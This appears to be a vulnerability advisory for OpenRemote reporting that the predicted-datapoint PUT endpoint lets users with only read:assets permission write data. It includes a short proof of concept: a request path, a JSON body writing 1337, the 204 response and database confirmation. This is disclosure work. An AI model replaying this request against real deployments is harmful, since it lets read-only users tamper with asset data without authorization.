OpenRemote read-only asset users can write predicted datapoints
Summary
The predicted datapoint write endpoint allows users with only read:assets privileges to write predicted datapoints.
The endpoint:
PUT /api/{realm}/asset/predicted/{assetId}/{attributeName}accepts write requests from users lacking write:assets.
The implementation appears to check READ_ASSETS while performing a write operation through:
assetPredictedDatapointService.updateValues(...)PoC
A user was created with only:
read:assetsand without write:assets.
The following request succeeded:
PUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperatureRequest body:
[{"x":1779199999001,"y":1337}]Response:
HTTP/2 204Database verification confirmed the datapoint was written successfully:
entity_id: 4Fr8Pcp7iDjrEmoSUFolvT
attribute_name: temperature
value: 1337Impact
Users with read-only asset permissions can modify predicted datapoints for assets.